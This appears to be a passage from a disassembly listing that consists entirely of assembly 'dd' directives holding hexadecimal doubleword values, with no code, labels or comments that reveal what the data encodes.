dd 4BA6D2A5h, 0FA906729h, 3E47ADDCh, 0CF271AC8h, 0E83C4838h
dd 0A74C25A0h, 552AB886h, 2ABC1A6Eh, 0A745345h, 0D8623422h
dd 0D096BF74h, 0B674B796h, 4087F494h, 972F14A7h, 4776F4BAh
dd 6FA03152h, 0B5DEB075h, 0D23C4869h, 6F2D6535h, 46343844h
dd 9784BC19h, 3596FCF7h, 92AFFD8Ch, 8E2B009Dh, 51A8D860h
dd 54492C55h, 147214E6h, 7A0A0DB1h, 9F730C79h, 34D018D4h
dd 35B71197h, 6C1822B4h, 10A13A5Ch, 7B25BD68h, 1C5365B0h
dd 172FA6D9h, 17DCF23Ah, 43A22E79h, 0AD9E552Ch, 5649D56Bh
dd 60BCF588h, 0F938B8D2h, 7FEF2A7Eh, 0C4A710D7h, 2A3C29B4h
dd 78ED6B94h, 5FC7A8A4h, 5190388Ah, 364D7846h, 53E47443h
dd 0DA08DAFFh, 0C703271h, 0B32E1F28h, 0CE894994h, 0C8267D79h
dd 18E9661Dh, 0DDCD53C4h, 0BC5B170Dh, 766F6D0Ah, 4A192A48h
dd 0F4D0E32Eh, 0B8D29A2Bh, 2E22B92Ch, 6C743CDAh, 24AFF03Ch
dd 72005125h, 0C1AF981Ch, 0C4105925h, 0FF39AB52h, 2E41A4F6h
dd 2B4879AEh, 0B74A86CFh, 0F848902Dh, 0C98BA561h, 55DA1854h
dd 6270BEA1h, 31C53A6Fh, 32E444BCh, 0B65E2012h, 64F9A7B4h
dd 0AA756CC6h, 43BE8282h, 0F303168Ah, 63EA5052h, 2E672577h
dd 1C472C2Ah, 115E2C42h, 78B950DCh, 0F02D9AD9h, 48C7BCC9h
dd 4404557Ch, 686B534Eh, 4B5E7C39h, 0EB072772h, 3C6881B5h
dd 9181CEDAh, 705F3D0Ch, 3A5049ABh, 5472BABDh, 846AAF7Bh
dd 9DC09657h, 0A6646024h, 3C1DF960h, 44C9761Eh, 7E3282D1h
dd 5C128579h, 66F47827h, 5C3C917Bh, 977DE96Fh, 145DEB9Ah
dd 342E56B1h, 400C2FD3h, 61384D20h, 63A0E253h, 2DE5DE41h
dd 0E4528A67h, 1C37DBFCh, 0FF1BE8FDh, 0E3963C47h, 2750FA98h
dd 9754F71h, 98FA6992h, 64D9524Fh, 5A8D1068h, 7B6B6BF6h
dd 4ECC8A92h, 9B2AB6B5h, 3C64F44Ch, 3E4C6DAAh, 0C86562DDh
dd 2846C26Ch, 50CC785Bh, 0F3FD487Ch, 0EE64793h, 0AE454D31h
dd 0EDCB4144h, 0FCD4C41Bh, 0AF1F10EFh, 0A3DA6837h, 3BE2213Fh
dd 70E91177h, 9FE0D8FAh, 8ED0F5CCh, 0D9632504h, 20BAEE0Ch
dd 0A5627924h, 1417BB90h, 69136379h, 422C1350h, 0E74F08E8h
dd 93EC48E0h, 144690F7h, 891784Dh, 0AD961691h, 4C566B78h
dd 3542F506h, 0D9FCCA66h, 0A308AC50h, 57F7200Ch, 0C431470h
dd 0C9636716h, 5AEF6224h, 44B647Eh, 0E86261C0h, 8F209BB8h
dd 48AE210Ah, 546C4CD1h, 92C1F692h, 606B50B9h, 3C341E44h
dd 0ED092645h, 86E46E3Eh, 9258B92Ah, 39301777h, 0BD20AEBCh
dd 64BC547Ah, 9CC3E864h, 5B0913F7h, 0FB0B2060h, 0D0FA3FA7h
dd 0DEE011D0h, 9340D24h, 0BC6A2CACh, 752131D9h, 0A5044470h
dd 185A2B6Ah, 0C29C5209h, 534F4B31h, 0D841C741h, 445A3459h
dd 99DC8F5h, 0E932AA79h, 304219A7h, 1A110C2Ah, 294A0967h
dd 24D3274h, 0B511FB8h, 0C94ED022h, 5AF0B8E1h, 0B6752952h
dd 9A23083Dh, 0E78E349Ah, 7A962DDEh, 0A7A9896h, 1DA3561Ah
dd 0D9337289h, 0D1AEAFEAh, 0B57EE695h, 75E48846h, 197113CDh
dd 0A926342Bh, 0E508690Ch, 0AF08A44Ah, 9CBC249Eh, 0B7369C2h
dd 0C88A4CCh, 4AA36263h, 5A269243h, 1109BBE5h, 0A472C008h
dd 0A44E950Bh, 88E198Ch, 0C8C9F9Ah, 9A3C96BDh, 0F032B5E0h
dd 9DAB2012h, 5EB8746Fh, 7C505C65h, 92269014h, 49A6A0B9h
dd 10D9435Ah, 49091409h, 925C5D3h, 1434B034h, 9167384h
dd 74D014A2h, 3268DDE5h, 0D61CD040h, 0C43EDF2h, 17647514h
dd 25E06492h, 9124A916h, 0D0E34A0Dh, 679E1CD6h, 83D2844Ch
dd 0A94D7FF3h, 6568CB5Eh, 40A86C12h, 225024A4h, 0CA9577Dh
dd 7BD24052h, 0A5A9A0F8h, 0A5A1F320h, 1CBDE44Eh, 0D150E0A4h
dd 0E2971911h, 5518D830h, 30505744h, 1432995Fh, 0B069AEAFh
dd 6411F0B4h, 1C141525h, 8876BFB4h, 0C545521h, 646B4F1Dh
dd 6E502918h, 399B5029h, 109C1853h, 1C24A42Ch, 290D2C2Dh
dd 436A250Eh, 44E0544Ch, 5953E1E3h, 8366E21h, 84C59545h
dd 0E0A6116Eh, 8D4496B7h, 1C9B2DCCh, 5E6A1859h, 29A3A829h
dd 66689E74h, 0C8E77308h, 6BB07372h, 3DD73C94h, 59684CDEh
dd 4D1C480Ch, 7C101910h, 0E428ADDCh, 747E34D7h, 62713318h
dd 92142DF5h, 70B57521h, 12330819h, 2BDC144Ch, 25CA210Eh
dd 2DF2EC08h, 720D9DD3h, 1B2B097Ah, 13850F1Eh, 457BA661h
dd 0E9F00DECh, 1E4BA875h, 0A9483369h, 9B4EDB82h, 0FD841E36h
dd 0F8242D91h, 8285149h, 279E1B29h, 1CA06FC5h, 5BBCB599h
dd 94789DE6h, 25143E19h, 0D0430464h, 9F632540h, 62AF88CDh
dd 0EBB0D66Ch, 0CD3F2756h, 68FA60C0h, 6869726Fh, 1346217Ah
dd 0F47CFC3Ah, 746D3439h, 93AAFDD3h, 310E4E89h, 0F8D23042h
dd 80AFA9E1h, 9CA398BDh, 0A76D3E6Ch, 48430259h, 28B65441h
dd 55C10E95h, 7EE64A84h, 1D74C94Bh, 0B3D09D2h, 3FBBA4D4h
dd 3C8FD3D3h, 0D6500113h, 2BF1143Ah, 460DD851h, 456CF20h
dd 11BB5352h, 2B9C23FCh, 19653F11h, 95CC2B23h, 52AFF402h
dd 0E19C531Ch, 0F90C044Bh, 33084058h, 74A632E2h, 0B578149Fh
dd 25C9A8EDh, 6FAF2E63h, 1C694220h, 0C4A53533h, 384E9FB4h
dd 6E3A0881h, 533E69D9h
dd 0A410F2A4h, 0B474DE11h, 4BC1737Dh, 9D6E3859h, 3419948Ch
dd 405170BDh, 0A3C76F70h, 10358E3Eh, 0B4BCE893h, 4FB863FAh
dd 0DB247FAh, 218363BBh, 12200921h, 3814243Ah, 61256384h
dd 44F54170h, 0ED742A3Dh, 2FFF7361h, 0C9C97012h, 9A6C3C41h
dd 359B7538h, 65EB12B6h, 4D8D7F9Eh, 763C36BFh, 0BA4544C5h
dd 60026F65h, 71444C51h, 1B10C887h, 48E25C46h, 6C77EBD8h
dd 479410A4h, 11233D2Ch, 0FE452132h, 97082FBFh, 8474EE30h
dd 766E4507h, 72EAEF41h, 65916850h, 0F537743h, 9A626447h
dd 4853C272h, 4EF79955h, 661A373Ch, 5CC42179h, 83D85282h
dd 6CB1B984h, 57922DA1h, 0BF0127F1h, 24A1636Eh, 20DDA24Dh
dd 18855732h, 776741E4h, 7A2D1A64h, 52341415h, 604509FCh
dd 49B8CC6Ah, 0C147A0FDh, 0E0CD7BF3h, 11495154h, 6EB77454h
dd 68530F12h, 0EF75FE1Ch, 448B3022h, 0B4462F05h, 0E6B55277h
dd 54E782D8h, 293EA290h, 0FB20415Fh, 5CB314Ah, 0BE641449h
dd 4BAF557h, 0A5A4F56Ch, 0B967321h, 2AD27542h, 18A6534Ah
dd 5D123169h, 10332732h, 6D75DC15h, 47C3910Ch, 15E74518h
dd 0A77A30Ch, 44444F54h, 84F04166h, 86D9A458h, 96535458h
dd 269B9464h, 6F621A11h, 3FE141Ah, 10855DA2h, 0C74C3B4h
dd 96E32A17h, 492528D0h, 0B084F858h, 6FA24565h, 0CF01064h
dd 4D429973h, 1A892721h, 551F6946h, 3C302892h, 7A6F6F4Dh
dd 2F616228h, 4B05D734h, 8125FE28h, 2A76A115h, 0ECBD4829h
dd 0A14C8750h, 426AA714h, 28164E12h, 3D553CEBh, 416C1455h
dd 0F04FB214h, 87138660h, 0C924A114h, 2427193Ah, 0CCF4EF48h
dd 0F4F8C0DAh, 90147352h, 91144334h, 3F478A3Ch, 6A274CEAh
dd 783D85DEh, 0A35F1C6Ah, 37D07278h, 0D863CAFFh, 5E956B49h
dd 0C4B85A20h, 56695D5Ch, 7962E25Ch, 66B43EDCh, 1E141029h
dd 2C641074h, 790C4211h, 0EF70FE8Ch, 43CCD7Fh, 0D254B808h
dd 0F4AEA4D7h, 0CC344B88h, 4A7E94E3h, 0C6E5176h, 0C48CAD92h
dd 0BF106F74h, 0E1F19875h, 8B730848h, 6CD11EECh, 0C14210D0h
dd 0A29C5F2Bh, 0F853DF0Ch, 0ED94BC70h, 55850728h, 34D8746Ch
dd 5384C007h, 83BE4341h, 70155A24h, 4C1B540Ch, 0BA9A45FBh
dd 100A3324h, 84213349h, 1D705F1Ch, 76494446h, 48C6BF73h
dd 7ED1DDFh, 0C0FA638Ch, 0AEEE21EDh, 920CF453h, 5401C294h
dd 5F327377h, 60939232h, 6A624FD4h, 10A17CBBh, 3C214B3Bh
dd 9FEB6942h, 50092DEDh, 455D240Ah, 14424912h, 722C93AFh
dd 142F52F7h, 5CCBB932h, 5DF84240h, 0A52D924Dh, 3614A4A3h
dd 6597A277h, 0BB142158h, 678529CCh, 2C298E64h, 4EC4A447h
dd 4499AC94h, 563A56F5h, 12B7B309h, 0BF9D7974h, 3264897Eh
dd 0E3BD4A84h, 6936A3D6h, 1A089A66h, 8C8CEE15h, 0D21586DCh
dd 0E629AFF9h, 214D110Dh, 75040E0Dh, 0F0BC889h, 431A1042h
dd 7AC99C4Dh, 0E025A672h, 0C0D66A1Ah, 0D66B6FFAh, 4D25E92Eh
dd 0FC306862h, 68A57E4Bh, 0BFB9E813h, 0D95A5057h, 32351570h
dd 60B6C00h, 621A76A2h, 41676C74h, 0F162492h, 0F4148E95h
dd 20ECD6CBh, 0C3190C41h, 2198520Dh, 79721051h, 4C630FAAh
dd 49302242h, 9A12420Eh, 6863B381h, 0A0342283h, 970E8663h
dd 0A0B300E4h, 468C786Ah, 0E767626Fh, 0B326942Bh, 8144105h
dd 0C1B7540Ah, 24564172h, 34A69B81h, 1D748D19h, 0B403B211h
dd 73319969h, 4CC2E265h, 6B949F8Ch, 0E39408Ah, 66146A44h
dd 232DA45Ch, 4973AC52h, 825D799Ch, 0B470022h, 29D0845Bh
dd 898D059Bh, 940D2980h, 11D4D300h, 9552CE28h, 0C4AE006Ch
dd 30D47BAEh, 8B4DF35h, 6D2706E8h, 0E9461727h, 0D825B5D9h
dd 4B1C85E7h, 0A2B17950h, 3CCC4E38h, 0A6AEA350h, 0E1459CCEh
dd 56707954h, 0A9972175h, 0D085705h, 0BD08A817h, 24735925h
dd 6B810D28h, 8A28AFBFh, 4D6291C4h, 82475A6Fh, 58C409A2h
dd 8096B773h, 0CA4E22CEh, 1A7A1078h, 76BDB221h, 826C131Bh
dd 530270E9h, 0DF60CB6Eh, 88F374F5h, 4D891559h, 6BC4BC54h
dd 916C4AA4h, 2CFCCBCCh, 3820BEEEh, 0E1DE4C44h, 0A46C2FC1h
dd 72DC9E41h, 0D19DBA5Dh, 4F7932CAh, 1A858478h, 70F253C4h
dd 5E433D1h, 2F7270DCh, 9C49271Ah, 27358F14h, 5E1A0008h
dd 38394E4Eh, 504B341Eh, 57B81824h, 155A3096h, 5057979Ch
dd 47B84EF4h, 8F654EF3h, 80764A41h, 8799B2D6h, 8F4B64E9h
dd 9E344780h, 0C948E56Dh, 0DCBEF3F4h, 0ECD54F29h, 5D4867F3h
dd 0B1EE692Fh, 0DE304AE1h, 4FFA59AFh, 0DD63D716h, 5F2D6E4Eh
dd 7CCD60ADh, 922AAFEDh, 249579DBh, 0A501F127h, 0F4711A89h
dd 4AAD3223h, 881655D8h, 874E19D2h, 0B001146Ch, 9640AAACh
dd 86ABA0C4h, 8DB4BC10h, 2528AB19h, 2E2F355Bh, 0A9CFCE2h
dd 0E28AB77h, 0C811706Dh, 14C49503h, 43BA752Dh, 35D8C45Dh
dd 8428AC62h, 5602826h, 29D709CDh, 0C7A9EA14h, 90618DCh
dd 28C3AEEDh, 834315F0h, 0DC0922E4h, 89C8D444h, 24B812C0h
dd 91A848B0h, 449822A0h, 80898890h, 68247412h, 54915C48h
dd 40444822h, 12308938h, 48202428h, 700C9114h, 4F6F889h
dd 91E848F0h, 44D822E0h, 0B889C0CCh, 0A824B012h, 90919C48h
dd 7C448822h, 126C8974h, 485C2464h, 22489150h, 30384440h
dd 1C122889h, 822F12Fh, 13F811E1h, 0E409E1B2h, 0D048DC24h
dd 0BC22C491h, 89A4B044h, 2490129Ch, 917C4888h, 44682270h
dd 4489505Ch, 30243812h, 20912848h, 10441822h, 46848B08h
dd 0E9D112F8h, 0D8440916h, 12C089D0h, 48A824B4h, 229891A0h
dd 70804488h, 58126489h, 3C484C24h, 2C223491h, 89182044h
dd 240C1210h, 11FC4604h, 916E9C1h, 89D0DC44h, 24C012C8h
dd 91B048B8h, 449822A4h, 80898890h, 6C247812h, 5C916448h
dd 48445422h, 1234893Ch, 48202428h, 220C9114h, 10FC2004h
dd 89ECF444h, 24DC12E4h, 91C848D0h, 44B422C0h, 9C89A4ACh
dd 88249412h, 78918048h, 68447022h, 12588960h, 12443950h
dd 4834243Ch, 2224912Ch, 0C14441Ch, 0FC110489h, 45F9BA0Fh
dd 7C912FE2h, 225FE48Bh, 91B809C8h, 44A822B0h, 888994A0h
dd 78248012h, 60916C48h, 48445422h, 12348940h, 481C2424h
dd 700C9114h, 810EF888h, 24E412F0h, 91D448DCh, 44C022CCh
dd 0A089ACB4h, 90249812h, 80918848h, 6C447822h, 12588960h
dd 4844244Ch, 22309138h, 0C184424h, 0F446848Bh, 17E9D10Dh
dd 0D009B288h, 0BC48C824h, 0AC22B491h, 899CA444h, 248C1294h
dd 917C4884h, 446C2274h, 54895C64h, 4089481Ch, 2C243412h
dd 1C912448h, 8451022h, 0CF422C2h, 0E448EC04h, 0D422DC91h
dd 89C8D044h, 24B812C0h, 91A848B0h, 4494229Ch, 7C89848Ch
dd 68247412h, 58916448h, 48445022h, 12348940h, 481C2428h
dd 70089110h, 810BF488h, 24D812E8h, 91C448D0h, 44B022BCh
dd 9889A0A8h, 84249012h, 74917C48h, 60446C22h, 124C8958h
dd 48342440h, 2224912Ch, 0C14441Ch, 0FC110489h, 9D9B20Ah
dd 48E424ECh, 22D091DCh, 0B8C044C8h, 0A412B089h, 94489C24h
dd 84228C91h, 89747C44h, 2460126Ch, 91484854h, 4434223Ch
dd 1C89242Ch, 0C241412h, 0FC880448h, 22F01109h, 0D4E044E8h
dd 0C412CC89h, 0B448BC24h, 9C22A491h, 898C9444h, 247C1284h
dd 91684874h, 44582260h, 38894450h, 24242C12h, 14911C48h
dd 11E10C22h, 0EC0208F4h
dd 0D848E424h, 0C822D091h, 89B4C044h, 24A412ACh, 9194489Ch
dd 44782288h, 58896070h, 44244C12h, 30913848h, 1C442822h
dd 5CFC8B14h, 7F82022h, 89E4F044h, 24CC12D8h, 91BC48C4h
dd 44A822B0h, 8C8998A0h, 7C248412h, 6C917448h, 5C446422h
dd 124C8954h, 48382440h, 22289130h, 8144420h, 0F444848Bh
dd 91EC0806h, 44DC22E4h, 0B889C4D0h, 0A024AC12h, 90919848h
dd 7C448422h, 12748978h, 4864246Ch, 22509158h, 343C4448h
dd 1C122489h, 8481024h, 6EF844B8h, 6491D905h, 0D048D809h
dd 0B822C491h, 89A4B044h, 2494129Ch, 9180488Ch, 446C2274h
dd 50895C64h, 3C244812h, 28913448h, 14441C22h, 1304890Ch
dd 0F008ACFCh, 0E022E891h, 89CCD444h, 24BC12C4h, 91A848B4h
dd 449822A0h, 80898890h, 70247812h, 60916848h, 50445822h
dd 12408948h, 4834243Ch, 221C9128h, 0FC084410h, 91E9036Eh
dd 48DC0964h, 22C491D0h, 0ACB444BCh, 9812A089h, 84488C24h
dd 74227C91h, 89646C44h, 2454125Ch, 9140484Ch, 442C2234h
dd 18892028h, 4241012h, 0E102FC46h, 91E409C8h, 44D422DCh
dd 0B889C0C8h, 0A824B012h, 94919C48h, 7C448822h, 12688974h
dd 48582460h, 22449150h, 28304438h, 1C122489h, 0C481424h
dd 0FC100491h, 44F42201h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
dd 0AC44B422h, 129489A4h, 4880248Ch, 226C9174h, 4C544460h
dd 38124089h, 28483024h, 18222091h, 89040C44h, 0F004C2F8h
dd 0DC91E848h, 0CC44D422h, 12BC89C4h, 48AC24B4h, 229C91A4h
dd 848C4494h, 74127889h, 64486C24h, 50225C91h, 89404844h
dd 242C1234h, 911C4824h, 440C2214h, 0FF36F804h, 4409F042h
dd 0D489DCE8h, 0C424CC12h, 0B491BC48h, 0A044AC22h, 1294899Ch
dd 4884248Ch, 2274917Ch, 5460446Ch, 44124C89h, 30483824h
dd 20222891h, 8B081444h, 0FEF84484h, 0E491EC08h, 0D444DC22h
dd 12C489CCh, 48B424BCh, 22A491ACh, 8C904498h, 74128089h
dd 5C486824h, 44225091h, 89343C44h, 2424122Ch, 910C481Ch
dd 0FDF81004h, 0E844F022h, 12D889E0h, 48C024CCh, 22AC91B8h
dd 8C9844A4h, 78128489h, 64486C24h, 50225891h, 893C4844h
dd 24281230h, 911C4820h, 0E1082214h, 2FCF411h, 48E024ECh
dd 22CC91D4h, 0ACB844C0h, 9812A489h, 88489024h, 78228091h
dd 89647044h, 24501258h, 913C4844h, 44282230h, 0C891820h
dd 0F8220412h, 48F004FBh, 22E091E8h, 0C4D044D8h, 0AC12B889h
dd 9C48A424h, 88229091h, 89748044h, 2460126Ch, 914C4854h
dd 44382244h, 1C892430h, 8241412h, 0F837225Ch, 0BC48D9FAh
dd 912FF245h, 9228B7Ch, 0A8B044BCh, 9812A089h, 88489024h
dd 78228091h, 89687044h, 245C1260h, 914C4858h, 44342240h
dd 18892028h, 8241012h, 0FC880448h, 22F411F9h, 0D8E444ECh
dd 0C412CC89h, 0B448BC24h, 0A422AC91h, 89949C44h, 247C1288h
dd 916C4874h, 44542264h, 3889404Ch, 24243012h, 0C911848h
dd 0F8F48870h, 0E012E881h, 0C848D424h, 0B422BC91h, 89A0A844h
dd 248C1298h, 917C4884h, 44642270h, 4C89545Ch, 3C244412h
dd 2C913448h, 18442422h, 17048910h, 0F008F7F4h, 0E022E891h
dd 89D0D844h, 24C012C8h, 91B448B8h, 449C22A8h, 84898C94h
dd 74247C12h, 64916C48h, 54445C22h, 1244894Ch, 48302438h
dd 22149124h, 0FC04440Ch, 89F4F640h, 24E412ECh, 91D448DCh
dd 44C022C8h, 0A889B0B8h, 9024A012h, 78918448h, 68447022h
dd 12588960h, 48482450h, 2234913Ch, 1C24442Ch, 8121489h
dd 0F810112Eh, 44F022F5h, 0DC89E4E8h, 0D024D812h, 0B891C448h
dd 0AC44B022h, 129889A0h, 48882490h, 22789180h, 58604468h
dd 48125089h, 38484024h, 20223091h, 89101844h, 0F4FC1104h
dd 0E8913807h, 0D444DC22h, 12BC89C8h, 48A424B4h, 2294919Ch
dd 74804488h, 64126C89h, 54485C24h, 44224C91h, 89383C44h
dd 24241230h, 9114481Ch, 2004220Ch, 0F044F3F8h, 12E089E8h
dd 48CC24D4h, 22B891C4h, 98A044ACh, 88129089h, 78488024h
dd 68227091h, 89546044h, 243C1248h, 912C4834h, 441C2224h
dd 4890C14h, 2F2FC11h, 48E824F4h, 22D891E0h, 0B8C444D0h
dd 0A812B089h, 9848A024h, 84228C91h, 89707C44h, 24601268h
dd 91504858h, 44342240h, 1889202Ch, 8241012h, 8F1F844h
dd 22E491F0h, 0C8D444DCh, 0AC12BC89h, 9448A024h, 80228C91h
dd 89687444h, 24581260h, 91484850h, 44382240h, 1889202Ch
dd 0C241412h, 0F420225Ch, 0E4EC44F0h, 0D412E089h, 0C448CC24h
dd 0B022B891h, 89A0A844h, 248C1294h, 917C4884h, 44682274h
dd 48895060h, 34243C12h, 24912C48h, 14441C22h, 46848B0Ch
dd 0E9E1EFF4h, 0DC440916h, 12CC89D4h, 48BC24C4h, 22AC91B4h
dd 909844A0h, 7C128489h, 6C487424h, 58226491h, 89444C44h
dd 2434123Ch, 9124482Ch, 4514221Ch, 0F423C208h, 8BE974EEh
dd 44D40922h, 0BC89C4CCh, 0AC24B412h, 9891A048h, 84448C22h
dd 12708978h, 48542464h, 223C9148h, 202C4434h, 8121489h
dd 4EDFC22h, 91E448F0h, 44D422DCh, 0B889C4CCh, 0A824B012h
dd 9891A048h, 88449022h, 1274897Ch, 4860246Ch, 22509158h
dd 38404448h, 28123089h, 10481C24h, 0FC100491h, 0EFF422ECh
dd 0DC24E412h, 0CC91D048h, 0BC44C422h, 12A489ACh, 4894249Ch
dd 2284918Ch, 6C74447Ch, 5C126489h, 4C485424h, 3C224891h
dd 89303844h, 241C1228h, 910C4814h, 0EBFC1B04h, 959A4F9h
dd 795A10E0h, 9782B574h, 182D696Bh, 19BABCE7h, 6F751162h
dd 1093A4CDh, 0BCD3B163h, 6C0D7536h, 216B6164h, 0A8623C9Fh
dd 9567F010h, 216FF6C3h, 0D4772B0Ch, 7E18CD0Ch, 828111Fh
dd 529F6379h, 755934EBh, 1602EE18h, 0FE532D6Bh, 0F7186D34h
dd 0D1660938h, 855FF20Dh, 8537651h, 6E090AEBh, 4743608h
dd 62106166h, 7BDFE374h, 0C9745B21h, 0ED10BF38h, 119D869Ah
dd 0CD46686Eh, 14146D10h, 9E975B08h, 50B65683h, 10997945h
dd 9975E872h, 64C85764h, 0A2502DD8h, 30B275D0h, 62081028h
dd 791B6E65h, 87485559h, 681092A2h, 8540BA6Ch, 16746769h
dd 0BEA1E108h, 0DD116F30h, 28CC6CD5h, 0A086DC57h, 4E1211DBh
dd 56C9C826h, 0CFBB19DEh, 31A8FE8Dh, 236E5539h, 8090C0Dh
dd 0A83584C3h, 86D281Ah, 5C72F8CAh, 6DB36714h, 0C2FB1174h
dd 1020AD73h, 9B0D72E9h, 0C4587341h, 14FD560Dh, 0A2085ED7h
dd 0EF68573Ch, 4E6B6DE8h, 7EA10C0Dh, 21651C08h, 5386DFBFh
dd 0D32DAB11h, 0FC107579h, 5284837Ah, 6C6D8DACh, 676C9B88h
dd 0E0EAE7AAh, 0ACC6D66Dh, 6D671034h, 2115072h, 10A868CFh
dd 366929CCh, 6EEFB440h, 147AF20Ah, 48FE699Eh, 0C90CD01Eh
dd 72C50262h, 6E0CA464h, 1809658Dh, 27DA92A7h, 0D00C56EDh
dd 0F950ECB7h, 897C40BEh, 0BC4E4D56h, 9F5C4C20h, 0E5221CA9h
dd 1CCA66F4h, 96352079h, 0E2E9D016h, 5468AB76h, 0AA62A021h
dd 80C29B2h, 769AA487h, 38085710h, 5784D20h, 102C36EBh
dd 0A42859F3h, 56662419h, 636E1F11h, 3E48A969h, 38AB1D55h
dd 84203424h, 551902C0h, 6C46757Ah, 645373F0h, 87F978D9h
dd 422D6711h, 60229E7Ah, 186220CAh, 91427046h, 0C97D3C3Bh
dd 5B886DDFh, 3120B534h, 347A540Eh, 0E6BF727Dh, 6132F9D1h
dd 7509136Fh, 4FC690Dh
dd 6BC90808h, 0C13611B5h, 5056FD10h, 67641010h, 0B1F3D365h
dd 32736C78h, 76526F46h, 4CF15B0Ch, 0C52DCBBh, 128DB069h
dd 88DFE216h, 48B2600Fh, 10481B79h, 9110DA90h, 91F26C70h
dd 0C42A6514h, 29085A07h, 68BE080Eh, 0F980ACF5h, 8526EBEh
dd 51977728h, 74430872h, 85BCD6Bh, 0F091D65Ch, 6C753E70h
dd 0F81AD16Fh, 0E8BD2013h, 116434D7h, 8A10E476h, 0F40812D7h
dd 70758A6Fh, 4A66120Ch, 0C9A86976h, 0DA3FA40Eh, 0F46E816Eh
dd 0E1B510D6h, 6885AB07h, 2C68A91Ch, 50A2A5F1h, 0A411D708h
dd 8A26467h, 19E4598Dh, 0C4F2449Ch, 157C1285h, 0BC6BDB05h
dd 24740A55h, 6CD968C4h, 22966AE3h, 0AB723EC8h, 5719BD0Ch
dd 0A8596D11h, 0B22910A9h, 0C37D6110h, 0AD114FD3h, 70247CC2h
dd 6164086Eh, 109BC499h, 0C1E62876h, 15408FBDh, 2F8A5110h
dd 927A6DC2h, 99F0FC1Ch, 716D1172h, 0BFA861C0h, 29AA4D11h
dd 699B386Fh, 0C59EF09h, 0D0531098h, 116E2962h, 0FA74539Dh
dd 0C56B864h, 2C9F18FDh, 0D86B40Ah, 0E6096F08h, 10D55466h
dd 0C4762B1Eh, 86E9462Fh, 7E18DE38h, 8D166B8h, 8BB0D8A0h
dd 11396908h, 0BC209EA8h, 9A40722Ah, 206955C5h, 6E7A7542h
dd 1619D2DDh, 5BC57431h, 6485490Ch, 8108550Ch, 0F27C2047h
dd 202FD070h, 0BA57E49Eh, 4A4F2D97h, 4A106E13h, 83D8BD25h
dd 6B550CD0h, 18155025h, 722818E8h, 27666D08h, 4662A611h
dd 97906495h, 0ED117D36h, 6F4C35DFh, 451DBCB8h, 23BF145Ch
dd 64846D08h, 799F0CBAh, 0E7CA4D11h, 70C6A069h, 64E68110h
dd 14100845h, 73527DE7h, 0F3C75F14h, 0C39D68F5h, 0AF631002h
dd 280C1A68h, 0C22F08EDh, 69102256h, 32491A7Ah, 6C93EE64h
dd 0A472182Ch, 0C78208A0h, 0F5741C0Bh, 0A6C47414h, 86ED119h
dd 70216B3Dh, 8A02B2Eh, 9BAC7249h, 0B8C0FE10h, 6D0C89ACh
dd 7629BC62h, 0E413A50Ch, 69B1104Fh, 41631013h, 0EB046414h
dd 0D572ADC2h, 9BFFF19Ah, 0B03C7884h, 681B83A2h, 0B26C0D10h
dd 34A66110h, 4C8A586Bh, 798AC2CBh, 122E088Dh, 0B8596920h
dd 92DA10B6h, 0B011D716h, 159462CDh, 2F55186Dh, 146855E8h
dd 61086B0Ch, 1843494Ch, 0AF0827CDh, 0E6BF213Fh, 9F1174CEh
dd 214CDB6Bh, 45744D44h, 0E294A008h, 0EC6611D6h, 6B40C810h
dd 53700D6Fh, 19AA8019h, 20645333h, 0BAFEFF7Ch, 0B9087F0Ch
dd 49104808h, 0DB462DA9h, 0F550C82h, 7708F458h, 6E481CA6h
dd 8792A59h, 0F1F96B79h, 0ED144964h, 8E405769h, 97457EFEh
dd 73266640h, 9A784C10h, 0D5E610DBh, 90915998h, 0F44FBCA6h
dd 9D0781Ch, 0F46126E8h, 9B6B8B4Fh, 0FF107D90h, 62F92449h
dd 90FE1049h, 4C756340h, 109A7D64h, 0C44B8909h, 77681017h
dd 0DE72E4B0h, 0F10C2A3Ch, 75C12457h, 5C676C79h, 0F2C6196Dh
dd 0A04608AAh, 0E35AB008h, 2067A795h, 8442BAD4h, 0A488106Ah
dd 3F19ED4Ch, 20DA34C7h, 0D36A6469h, 34095111h, 0C03B61CFh
dd 0CA49F71h, 44146651h, 1E7C2644h, 3CA66FF2h, 0B29C79F6h
dd 774E0820h, 1177781Ch, 820C2878h, 207453A5h, 849F710h
dd 9608B6A2h, 58082284h, 890F272h, 70261843h, 9E3CD88h
dd 8EA1E230h, 0F6522D7Ah, 0E34EBB8Dh, 0A1912178h, 9A6C10B2h
dd 8EC0878h, 81416646h, 54266408h, 742D6149h, 52C3C05Ch
dd 0E7467479h, 119ADB38h, 59F50970h, 641893DCh, 19A36F29h
dd 6F093108h, 66902379h, 0A3097710h, 0C4A9509h, 106D9867h
dd 0D56180A0h, 18440D10h, 0EDEB9E62h, 6C52EA18h, 6C1A0882h
dd 15D445ADh, 11E3C408h, 79289108h, 6F89A908h, 0F234CD2Fh
dd 0A8F17C6Eh, 6B5049AEh, 279A7008h, 0F1116F6Bh, 1D10B4CFh
dd 0B220EAA1h, 666C6575h, 2336BF43h, 846D45F8h, 757164BCh
dd 18E936FFh, 6E132B92h, 0C29542Dh, 56A93047h, 7F11B730h
dd 11115A17h, 7044B743h, 19F76708h, 2812AE21h, 0C28B626Ah
dd 2BF00DCEh, 6B8618B2h, 77622CA4h, 57A41A89h, 6DB5EC0Ah
dd 6742B910h, 2849506Bh, 4FBCF394h, 0FF11D736h, 0B8926A3Ch
dd 64F15194h, 7D942D99h, 105E1234h, 4A53DC2Ch, 8751018h
dd 8D6C7ADAh, 766518C4h, 87410EAh, 6C6A846Fh, 702A3F08h
dd 29AAB4BFh, 0B310B46Ch, 0C106D81h, 0D01E4416h, 841EF7Ah
dd 0EA792C9Eh, 186B5508h, 38155965h, 342E84ABh, 8D9B8408h
dd 7E19BD0Fh, 0BAFFC6A3h, 21094D40h, 67B87212h, 6B716110h
dd 0A1097465h, 68341068h, 6751D425h, 34B47810h, 66F0652Ah
dd 54AA73F2h, 3242C913h, 58622E08h, 267219CCh, 0CD657A75h
dd 65B41919h, 459A66FBh, 1129160Ch, 88ACC92h, 1141D033h
dd 651017B9h, 1218256Fh, 10395ADEh, 5279DC85h, 10415410h
dd 1803C996h, 68F7614Ch, 400CD1C6h, 54DE6482h, 0F0ACF43Bh
dd 83827498h, 1832ACF3h, 8AC15076h, 697B9B08h, 8B610C10h
dd 2C1C496Fh, 40554889h, 664D6508h, 14642A8Ch, 0BFAA0F98h
dd 0A7723C19h, 7D9C9B43h, 0A973F619h, 9F716D08h, 3570D1C6h
